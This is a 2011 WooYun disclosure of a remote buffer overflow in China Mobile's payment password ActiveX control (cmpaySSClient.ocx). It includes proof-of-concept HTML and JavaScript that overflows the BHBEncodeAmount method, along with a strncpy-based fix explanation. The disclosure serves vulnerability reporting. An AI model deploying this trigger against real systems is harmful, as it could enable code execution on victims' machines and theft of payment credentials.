当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(0) 关注此漏洞

缺陷编号: WooYun-2011-01922

漏洞标题: 中国移动手机支付密码控件远程溢出漏洞

相关厂商: 中国移动

漏洞作者: pcasa

提交时间: 2011-04-17

公开时间: 2011-04-18

漏洞类型: 远程代码执行

危害等级: 高

自评Rank: 20

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org

Tags标签: 浏览器控件漏洞 缓冲区溢出 heapspray 浏览器插件漏洞 activex漏洞 栈溢出 浏览器漏洞利用技巧


漏洞详情

披露状态:

2011-04-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-04-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

中国移动手机支付密码控件存在一个远程溢出漏洞,可以执行任意代码

详细说明:

支付密码控件cmpaySSClient.ocx接口存在溢出漏洞可以执行任意代码,测试代码如下:

<object classid='clsid:C15DDF55-9AE3-490A-A6F5-E63020698D5C' id='obj' >

</object>



var arg;

arg=Array(10240);



obj.BHBEncodeAmount(arg);


漏洞证明:

测试文件版本号: 1.0.1.3
在XPSP3和IE6中测试, 使用WinDbg进行调试

<object classid='clsid:C15DDF55-9AE3-490A-A6F5-E63020698D5C' id='obj' >

</object>



var arg;

arg="";

for (i=0; i<1024*2+8+4; i++) arg+="A";

arg += "PPPP";

for (i=0; i<1024*8; i++) arg+="C";



obj.BHBEncodeAmount(arg);





修复方案:

在使用_strncpy函数时长度参数取值,应该以目标缓冲区的作为字符个数参数,而代码中却以源字符串长度为字符个数参数
此为对函数用法理解不正确导致的,有多处使用strncpy函数的地方均存在安全隐患.

版权声明:转载请注明来源 pcasa@乌云


漏洞回应

厂商回应:

危害等级:暂时无回应

漏洞Rank:15

确认时间:2011-04-18

厂商回复:

最新状态:

暂无

(0)(0)

评论

  1. 2011-04-18 12:08 | xsser (核心白帽子 | Rank:236 漏洞数:16 | 卖身不卖艺)

    额 代码没全啊

登录后才能发表评论,请先 登录